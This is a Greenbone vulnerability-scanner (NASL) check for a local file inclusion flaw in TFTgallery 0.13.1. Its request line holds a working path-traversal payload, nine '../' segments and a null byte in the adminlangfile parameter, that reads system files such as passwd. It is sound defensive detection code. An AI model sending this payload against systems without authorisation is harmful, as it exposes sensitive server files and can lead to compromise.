TFTgallery <= 0.13.1 'thumbnailformpost.inc.php' LFI Vulnerability - Active Check

# SPDX-FileCopyrightText: 2010 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:tftgallery:tftgallery";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.100879");
  script_version("2025-09-19T15:40:40+0000");
  script_tag(name:"last_modification", value:"2025-09-19 15:40:40 +0000 (Fri, 19 Sep 2025)");
  script_tag(name:"creation_date", value:"2010-10-29 12:58:08 +0200 (Fri, 29 Oct 2010)");
  script_tag(name:"cvss_base", value:"5.1");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:H/Au:N/C:P/I:P/A:P");
  script_name("TFTgallery <= 0.13.1 'thumbnailformpost.inc.php' LFI Vulnerability - Active Check");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2010 Greenbone AG");
  script_dependencies("gb_tftgallery_http_detect.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("tftgallery/http/detected");

  script_xref(name:"URL", value:"https://web.archive.org/web/20210127152744/http://www.securityfocus.com/bid/44523");

  script_tag(name:"summary", value:"TFTgallery is prone to a local file include (LFI) vulnerability
  because it fails to properly sanitize user-supplied input.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"impact", value:"An attacker can exploit this vulnerability to obtain potentially
  sensitive information and execute arbitrary local scripts in the context of the webserver process.
  This may allow the attacker to compromise the application and the underlying computer. Other
  attacks are also possible.");

  script_tag(name:"affected", value:"TFTgallery version 0.13.1 is known to be vulnerable. Other
  versions may also be affected.");

  script_tag(name:"solution", value:"Updates are available to address this issue. Please see the
  references for more information.");

  script_tag(name:"qod_type", value:"remote_app");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("os_func.inc");
include("traversal_func.inc");

if( ! port = get_app_port( cpe:CPE, service:"www" ) )
  exit( 0 );

if( ! dir = get_app_location( cpe:CPE, port:port ) )
  exit( 0 );

if( dir == "/" )
  dir = "";

files = traversal_files();

foreach pattern( keys( files ) ) {

  file = files[pattern];
  url = dir + "/admin/thumbnailformpost.inc.php?adminlangfile=" + crap( data:"../", length:3 * 9 ) + file + "%00";

  if( http_vuln_check( port:port, url:url, pattern:pattern ) ) {
    report = http_report_vuln_url( port:port, url:url );
    security_message( port:port, data:report );
    exit( 0 );
  }
}

exit( 99 );